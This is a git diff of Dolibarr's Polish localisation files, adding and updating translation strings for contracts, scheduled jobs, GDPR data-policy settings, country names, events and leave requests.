fakturę dostawcy pocztą +ActionAC_SUP_ORD=Wyślij zamówienie zakupowe mailem +ActionAC_SUP_INV=Wyślij fakturę dostawcy mailem ActionAC_OTH=Inny ActionAC_OTH_AUTO=Inne auto ActionAC_MANUAL=Ręcznie wstawione wydarzenia @@ -74,8 +74,16 @@ StatusProsp=Stan oferty DraftPropals=Szkic oferty handlowej NoLimit=Bez limitu ToOfferALinkForOnlineSignature=Link dla podpisu online -WelcomeOnOnlineSignaturePage=Witamy na stronie do przyjmowania ofert handlowych od %s -ThisScreenAllowsYouToSignDocFrom=Ten ekran umożliwia zaakceptowanie i podpisanie lub odrzucenie oferty / oferty handlowej -ThisIsInformationOnDocumentToSign=To jest informacja na dokumencie do zaakceptowania lub odrzucenia +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=To jest informacja na dokumencie do zaakceptowania lub odrzucenia +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Podpis oferty / oferty handlowej %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Funkcjonalność podpisu online wyłączona lub dokument wygenerowano przed włączeniem tej funkcji diff --git a/htdocs/langs/pl_PL/compta.lang b/htdocs/langs/pl_PL/compta.lang index 921a9bf8063..430c6c05f73 100644 --- a/htdocs/langs/pl_PL/compta.lang +++ b/htdocs/langs/pl_PL/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Bilans (przed) Balance=Saldo Debit=Rozchody Credit=Kredyt +AccountingDebit=Debet +AccountingCredit=Kredyt Piece=Rachunkowość Doc. AmountHTVATRealReceived=HT zebrane AmountHTVATRealPaid=HT paid @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Raport dotyczący obrotu zeb TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Raport dotyczący obrotu uzyskanego według stawki podatku od sprzedaży jest niedostępny. Ten raport jest dostępny tylko dla zafakturowanych obrotów. CalculationMode=Tryb Obliczanie AccountancyJournal=Arkusz kodów księgowych -ACCOUNTING_VAT_SOLD_ACCOUNT=Konto księgowe domyślnie dla podatku VAT od sprzedaży (używane, jeśli nie zostało zdefiniowane w ustawieniach słownika VAT) -ACCOUNTING_VAT_BUY_ACCOUNT=Konto księgowe domyślnie dla podatku VAT od zakupów (używane, jeśli nie zostało zdefiniowane w ustawieniach słownika VAT) -ACCOUNTING_VAT_PAY_ACCOUNT=Konto księgowe domyślnie do płacenia podatku VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Konto księgowe używane dla stron trzecich klienta +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Dedykowane konto księgowe zdefiniowane na karcie osoby trzeciej będzie używane tylko do księgowania w Podedgera. Ta będzie używana dla Księgi Głównej i jako domyślna wartość księgowania Podrzędnego, jeśli dedykowane konto księgowe klienta na stronie trzeciej nie jest zdefiniowane. -ACCOUNTING_ACCOUNT_SUPPLIER=Konto księgowe używane dla stron trzecich dostawcy +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Dedykowane konto księgowe zdefiniowane na karcie osoby trzeciej będzie używane tylko do księgowania w Podedgera. Ta wartość będzie używana dla Księgi Głównej i jako domyślna wartość księgowania Księgi Podrzędnej, jeśli nie zdefiniowano dedykowanego konta księgowego dostawcy na stronie trzeciej. ConfirmCloneTax=Potwierdź klon podatku socjalnego / podatkowego ConfirmCloneVAT=Potwierdź klon deklaracji VAT @@ -300,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/pl_PL/contracts.lang b/htdocs/langs/pl_PL/contracts.lang index b2586f8d805..7d1d339a4c6 100644 --- a/htdocs/langs/pl_PL/contracts.lang +++ b/htdocs/langs/pl_PL/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Umowy/Subskrypcje ContractsAndLine=Kontrakty i pozycje kontraktów Contract=Kontrakt ContractLine=Pozycja kontraktu +ContractLines=Contract lines Closing=Zamknięte NoContracts=Brak kontraktów MenuServices=Usługi @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Czy na pewno chcesz usunąć tę linię umowy? MoveToAnotherContract=Przenieś usługi do innego kontraktu. ConfirmMoveToAnotherContract=Wybrałem nowy kontrakt docelowy i potwierdzam chęć przesunięcia tego serwicu do tego kontaktu. ConfirmMoveToAnotherContractQuestion=Wybierz, w której istniejącej umowie (tej samej strony trzeciej) chcesz przenieść tę usługę? -PaymentRenewContractId=Odnowienie umowy linii (liczba %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Data ważności NoExpiredServices=Bark wygasłych aktywnych usług ListOfServicesToExpireWithDuration=Lista usług wygasających w ciągu %s dni @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Podpisanie umowy, kontakt z klientem HideClosedServiceByDefault=Domyślnie ukryj zamknięte usługi ShowClosedServices=Pokaż usługi zamknięte HideClosedServices=Ukryj zamknięte usługi +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/pl_PL/cron.lang b/htdocs/langs/pl_PL/cron.lang index bf21fca7c08..f9445b554e1 100644 --- a/htdocs/langs/pl_PL/cron.lang +++ b/htdocs/langs/pl_PL/cron.lang @@ -26,7 +26,7 @@ CronCommand=Komenda CronList=Zaplanowane zadania CronDelete=Usuwanie zaplanowanych zadań CronConfirmDelete=Czy jesteś pewien, że chcesz usunąć te zaplanowane zadania? -CronExecute=Uruchom zaplanowane zadania +CronExecute=Launch now CronConfirmExecute=Jesteś pewien, że chcesz wykonać te zaplanowane zadania teraz? CronInfo=Moduł zaplanowanych zadań umożliwia planowanie zadań w celu ich automatycznego wykonania. Zadania można również uruchamiać ręcznie. CronTask=Zadanie @@ -58,7 +58,7 @@ CronNote=Komentarz CronFieldMandatory=Pole %s jest obowiązkowe CronErrEndDateStartDt=Data zakończenia nie może być wcześniejsza niż data rozpoczęcia StatusAtInstall=Stan w momencie instalacji modułu -CronStatusActiveBtn=Harmonogram +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Wyłączone CronTaskInactive=To zadanie jest wyłączone (nie zaplanowano) CronId=ID @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Przejdź do menu " Strona główna JobDisabled=Zadanie wyłączone MakeLocalDatabaseDumpShort=Backup lokalnej bazy danych MakeLocalDatabaseDump=Utwórz zrzut lokalnej bazy danych. Parametry to: kompresja („gz” lub „bz” lub „none”), typ kopii zapasowej („mysql”, „pgsql”, „auto”), 1, „auto” lub nazwa pliku do zbudowania, liczba plików kopii zapasowych do zachowania +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Uwaga, ze względu na wydajność, niezależnie od następnej daty wykonania włączonych zadań, Twoje zadania mogą zostać opóźnione maksymalnie o %s godzin, zanim zostaną uruchomione. DATAPOLICYJob=Narzędzie do czyszczenia danych i anonimizator JobXMustBeEnabled=Zadanie %s musi być włączone +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Ostatnio wykonane zaplanowane zadanie NextScheduledJobExecute=Następne zaplanowane zadanie do wykonania NumberScheduledJobError=Liczba błędnie zaplanowanych zadań +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/pl_PL/datapolicy.lang b/htdocs/langs/pl_PL/datapolicy.lang new file mode 100644 index 00000000000..70391f91d1e --- /dev/null +++ b/htdocs/langs/pl_PL/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Klient +DATAPOLICY_TIERS_PROSPECT = Widok +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Dostawca +DATAPOLICY_CONTACT_CLIENT = Klient +DATAPOLICY_CONTACT_PROSPECT = Widok +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Dostawca +DATAPOLICY_ADHERENT = Członek +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/pl_PL/dict.lang b/htdocs/langs/pl_PL/dict.lang index 742b0215665..eff39d5615a 100644 --- a/htdocs/langs/pl_PL/dict.lang +++ b/htdocs/langs/pl_PL/dict.lang @@ -21,7 +21,7 @@ CountryNL=Holandia CountryHU=Węgry CountryRU=Rosja CountrySE=Szwecja -CountryCI=Wybrzeże kości słoniowej +CountryCI=Wybrzeże Kości Słoniowej CountrySN=Senegal CountryAR=Argentyna CountryCM=Kamerun @@ -116,7 +116,7 @@ CountryHM=Wyspa Heard i McDonalda CountryVA=Stolica Apostolska (Państwo Watykańskie) CountryHN=Honduras CountryHK=Hong Kong -CountryIS=Iceland +CountryIS=Islandia CountryIN=Indie CountryID=Indonezja CountryIR=Iran @@ -131,7 +131,7 @@ CountryKI=Kiribati CountryKP=Korea Północna CountryKR=Korea Południowa CountryKW=Kuwejt -CountryKG=Kyrgyzstan +CountryKG=Kirgistan CountryLA=Laotański CountryLV=Łotwa CountryLB=Liban @@ -160,7 +160,7 @@ CountryMD=Mołdawia CountryMN=Mongolia CountryMS=Montserrat CountryMZ=Mozambik -CountryMM=Myanmar (Burma) +CountryMM=Myanmar (Birma) CountryNA=Namibia CountryNR=Nauru CountryNP=Nepal @@ -223,7 +223,7 @@ CountryTO=Tonga CountryTT=Trynidad i Tobago CountryTR=Turcja CountryTM=Turkmenistan -CountryTC=Turks and Caicos Islands +CountryTC=Wyspy Turks i Caicos CountryTV=Tuvalu CountryUG=Uganda CountryUA=Ukraina @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Pani +CivilityMMEShort=Pani CivilityMR=Pan +CivilityMRShort=Pan CivilityMLE=Pani CivilityMTRE=Mistrz CivilityDR=Lekarz @@ -277,7 +279,7 @@ CurrencySingMGA=Ariary CurrencyMUR=Mauritius rupii CurrencySingMUR=rupia Mauritius CurrencyNOK=Koron norweskich -CurrencySingNOK=Norwegian kronas +CurrencySingNOK=Korony norweskie CurrencyTND=TND CurrencySingTND=Dinar tunezyjski CurrencyUSD=US Dollar @@ -290,7 +292,7 @@ CurrencyXOF=Franków CFA BCEAO CurrencySingXOF=Frank CFA BCEAO CurrencyXPF=Franków CFP CurrencySingXPF=Frank CFP -CurrencyCentEUR=cents +CurrencyCentEUR=centów CurrencyCentSingEUR=cent CurrencyCentINR=Paisa CurrencyCentSingINR=Paise @@ -307,7 +309,7 @@ DemandReasonTypeSRC_WOM=Word of mouth DemandReasonTypeSRC_PARTNER=Partner DemandReasonTypeSRC_EMPLOYEE=Pracownik DemandReasonTypeSRC_SPONSORING=Sponsorowanie -DemandReasonTypeSRC_SRC_CUSTOMER=Incoming contact of a customer +DemandReasonTypeSRC_SRC_CUSTOMER=Przychodzący kontakt klienta #### Paper formats #### PaperFormatEU4A0=Format 4A0 PaperFormatEU2A0=Format 2A0 @@ -330,8 +332,8 @@ PaperFormatCAP5=Format P5 Kanada PaperFormatCAP6=Format P6 Kanada #### Expense report categories #### ExpAutoCat=Samochód -ExpCycloCat=Moped -ExpMotoCat=Motorbike +ExpCycloCat=Motorower +ExpMotoCat=Motocykl ExpAuto3CV=3 CV ExpAuto4CV=4 CV ExpAuto5CV=5 CV @@ -342,18 +344,18 @@ ExpAuto9CV=9 CV ExpAuto10CV=10 CV ExpAuto11CV=11 CV ExpAuto12CV=12 CV -ExpAuto3PCV=3 CV and more -ExpAuto4PCV=4 CV and more -ExpAuto5PCV=5 CV and more -ExpAuto6PCV=6 CV and more -ExpAuto7PCV=7 CV and more -ExpAuto8PCV=8 CV and more -ExpAuto9PCV=9 CV and more -ExpAuto10PCV=10 CV and more -ExpAuto11PCV=11 CV and more -ExpAuto12PCV=12 CV and more -ExpAuto13PCV=13 CV and more -ExpCyclo=Capacity lower to 50cm3 -ExpMoto12CV=Motorbike 1 or 2 CV -ExpMoto345CV=Motorbike 3, 4 or 5 CV -ExpMoto5PCV=Motorbike 5 CV and more +ExpAuto3PCV=3 CV i więcej +ExpAuto4PCV=4 CV i więcej +ExpAuto5PCV=5 CV i więcej +ExpAuto6PCV=6 CV i więcej +ExpAuto7PCV=7 CV i więcej +ExpAuto8PCV=8 CV i więcej +ExpAuto9PCV=9 CV i więcej +ExpAuto10PCV=10 CV i więcej +ExpAuto11PCV=11 CV i więcej +ExpAuto12PCV=12 CV i więcej +ExpAuto13PCV=13 CV i więcej +ExpCyclo=Pojemność mniejsza do 50 cm3 +ExpMoto12CV=Motocykl 1 lub 2 CV +ExpMoto345CV=Motocykl 3, 4 lub 5 CV +ExpMoto5PCV=Motocykl 5 CV i więcej diff --git a/htdocs/langs/pl_PL/ecm.lang b/htdocs/langs/pl_PL/ecm.lang index d71fe6801cc..c480d1b3372 100644 --- a/htdocs/langs/pl_PL/ecm.lang +++ b/htdocs/langs/pl_PL/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Katalog manualny ECMSectionAuto=Katalog automatyczny ECMSectionsManual=Drzewo manualne ECMSectionsAuto=Drzewo automatyczne +ECMSectionsMedias=Medias tree ECMSections=Katalogi ECMRoot=ECM Root ECMNewSection=Nowy katalog @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Liczba plików w podkatalogach ECMCreationUser=Kreator ECMArea=Obszar DMS / ECM ECMAreaDesc=Obszar DMS / ECM (system zarządzania dokumentami / elektroniczne zarządzanie treścią) umożliwia szybkie zapisywanie, udostępnianie i wyszukiwanie wszelkiego rodzaju dokumentów w Dolibarr. -ECMAreaDesc2=* Automatyczne katalogi wypelniane sa automatycznie podczas dodawania dokumentów z karty elementu
      * Manualne katalogi mogą być używane do zapisywania dokumentów nie powiązanych z żadnym konkretnym elementem. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Katalog %s został usunięty. ECMSectionWasCreated=Utworzono katalog %s . ECMSearchByKeywords=Wyszukiwanie wg słów kluczowych diff --git a/htdocs/langs/pl_PL/eventorganization.lang b/htdocs/langs/pl_PL/eventorganization.lang index 5fc50b7e1cd..c9820d7f586 100644 --- a/htdocs/langs/pl_PL/eventorganization.lang +++ b/htdocs/langs/pl_PL/eventorganization.lang @@ -37,7 +37,8 @@ EventOrganization=Event organization Settings=Ustawienia EventOrganizationSetupPage = Strona konfiguracji imprezy organizacyjnej EVENTORGANIZATION_TASK_LABEL = Etykiety zadań automatycznie tworzonych po zatwierdzeniu projektu -EVENTORGANIZATION_TASK_LABELTooltip = Podczas walidacji zorganizowanego wydarzenia niektóre zadania mogą być tworzone automatycznie w projekcie

      Na przykład:
      Wyślij wezwanie na konferencję
      Wyślij wezwanie do stoiska
      Odbierz wezwanie na konferencję
      Odbierz wezwanie na konferencję
      Odbierz wezwanie do stoiska
      Wyślij prelegentom przypomnienie o imprezie
      Wyślij gospodarzom stoiska przypomnienie o imprezie
      Wyślij uczestnikom przypomnienie o imprezie +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip2=Keep empty if you don't need to create tasks automatically. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Kategoria dodawana do kontrahentów, tworzona automatycznie po otrzymaniu sugestii zorganizowania konferencji. EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Kategoria dodawana do kontrahentów, tworzona automatycznie po otrzymaniu sugestii zorganizowania stoiska. EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Szablon wiadomości e-mail wysyłany po otrzymaniu sugestii zorganizowania konferencji. @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= Konferencja lub stoisko +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Manage the organization of an event ConferenceOrBooth = Konferencja lub stoisko ConferenceOrBoothTab = Konferencja lub stoisko AmountPaid = Amount paid DateOfRegistration = Date of registration ConferenceOrBoothAttendee = Uczestnik konferencji lub stoiska +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. ListOfSuggestedConferences = Lista proponowanych konferencji -ListOfSuggestedBooths = Lista sugerowanych stoisk -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Zaproponuj nową konferencję SuggestBooth = Zaproponuj stoisko ViewAndVote = Zobacz i zagłosuj na sugerowane wydarzenia PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event PublicAttendeeSubscriptionPage = Public link for registration to this event only MissingOrBadSecureKey = Klucz bezpieczeństwa jest nieprawidłowy lub go brakuje -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Ta konferencja zaczyna się %s i kończy się %s. ConferenceAttendeeFee = Opłata uczestnika konferencji za wydarzenie: '%s' występujące od %s do %s. BoothLocationFee = Lokalizacja stoiska dla wydarzenia: „%s” występujące od %s do %s @@ -129,7 +133,7 @@ LabelOfconference=Etykieta konferencji ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet DateMustBeBeforeThan=%s must be before %s DateMustBeAfterThan=%s must be after %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Registration OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received OrganizationEventBoothRequestWasReceived=Your request for a booth has been received @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event re OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Application for a booth NewSuggestionOfConference=Application for a conference @@ -153,7 +158,7 @@ VoteOk = Twój głos został zaakceptowany. AlreadyVoted = Już zagłosowałeś na to wydarzenie. VoteError = Podczas głosowania wystąpił błąd, spróbuj ponownie. -SubscriptionOk = Your registration has been validated +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event Attendee = Uczestnik PaymentConferenceAttendee = Opłata za uczestnika konferencji @@ -161,7 +166,9 @@ PaymentBoothLocation = Płatność za miejsce na stoisku DeleteConferenceOrBoothAttendee=Remove attendee RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s EmailAttendee=Attendee email +EmailCompany=Company email EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +MaxNbOfAttendees=Max number of attendees diff --git a/htdocs/langs/pl_PL/holiday.lang b/htdocs/langs/pl_PL/holiday.lang index 213cee94d5b..0da14252b46 100644 --- a/htdocs/langs/pl_PL/holiday.lang +++ b/htdocs/langs/pl_PL/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Pozostawiać +Holidays=Leaves +Holiday=Pozostawiać CPTitreMenu=Pozostawiać MenuReportMonth=Miesięczne zestawienie MenuAddCP=Nowy wniosek urlopowy +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Aby wyświetlić tę stronę, musisz włączyć moduł Wyjdź. AddCP=Stwórz wniosek urlopowy DateDebCP=Data rozpoczęcia @@ -56,6 +58,7 @@ ConfirmDeleteCP=Potwierdzić usunięcie tego wniosku urlopowego? ErrorCantDeleteCP=Błąd. Nie masz uprawnień do kasowania tego wniosku urlopowego. CantCreateCP=Nie masz uprawnień do tworzenia wniosku urlopowego. InvalidValidatorCP=Musisz wybrać osobę zatwierdzającą swoją prośbę o urlop. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Musisz wybrać datę rozpoczęcia. NoDateFin=Musisz wybrać datę zakończenia. ErrorDureeCP=Twój wniosek urlopowy nie zawiera dni roboczych. @@ -79,6 +82,8 @@ MotifCP=Powód UserCP=Użytkownik ErrorAddEventToUserCP=Wystąpił błąd podczas dodawania wyjątkowy urlop. AddEventToUserOkCP=Dodanie wyjątkowe prawo zostało zakończone. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Pokaż log zmian LogCP=Dziennik wszystkich aktualizacji dotyczących „Bilansu urlopów” ActionByCP=aktualizowany przez @@ -86,6 +91,13 @@ UserUpdateCP=Zaktualizowano dla PrevSoldeCP=Poprzedni Saldo NewSoldeCP=New Balance alreadyCPexist=Wniosek urlopowy na ten okres czasu został już zrobiony. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Grupy +users=Użytkownicy +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Początek wniosku o urlop LastDayOfHoliday=Końcowy dzień wniosku o urlop BoxTitleLastLeaveRequests=Ostatnie %s modyfikowanych wniosków urlopowych @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/pl_PL/install.lang b/htdocs/langs/pl_PL/install.lang index 24a06369132..047c47cf183 100644 --- a/htdocs/langs/pl_PL/install.lang +++ b/htdocs/langs/pl_PL/install.lang @@ -51,7 +51,6 @@ DatabaseName=Nazwa bazy danych DatabasePrefix=Prefiks tabeli bazy danych DatabasePrefixDescription=Prefiks tabeli bazy danych. Jeśli pusty, domyślnie llx_. AdminLogin=Konto użytkownika właściciela bazy danych Dolibarr. -PasswordAgain=Potwierdź hasło ponownie AdminPassword=Hasło do bazy danych CreateDatabase=Utwórz bazę danych CreateUser=Utwórz konto użytkownika lub przyznaj uprawnienia kontu użytkownika w bazie danych Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Już istnieje DolibarrAdminLogin=Użytkownik administracyjny Dolibarra AdminLoginAlreadyExists=Konto administratora Dolibarr „ %s ” już istnieje. Wróć, jeśli chcesz utworzyć kolejny. FailedToCreateAdminLogin=Utworzenie konta administratora Dolibarr nie powiodło się. -WarningRemoveInstallDir=Ostrzeżenie, ze względów bezpieczeństwa, po zakończeniu instalacji lub aktualizacji należy dodać plik o nazwie install.lock do katalogu dokumentów Dolibarr, aby zapobiec przypadkowemu / złośliwemu użyciu narzędzi instalacyjnych. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Niedostępne w tym PHP ChoosedMigrateScript=Wybierz skrypt migracyjny DataMigration=Migracja bazy danych (dane) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Ukryj niedostępne opcje ErrorFoundDuringMigration=Błędy zostały zgłoszone podczas procesu migracji, więc następny krok nie jest dostępny. Aby zignorować błędy, możesz kliknąć tutaj , ale aplikacja lub niektóre funkcje mogą nie działać poprawnie, dopóki błędy nie zostaną rozwiązane. YouTryInstallDisabledByDirLock=Aplikacja próbowała przeprowadzić samodzielną aktualizację, ale strony instalacji / aktualizacji zostały wyłączone ze względów bezpieczeństwa (nazwa katalogu została zmieniona z przyrostkiem 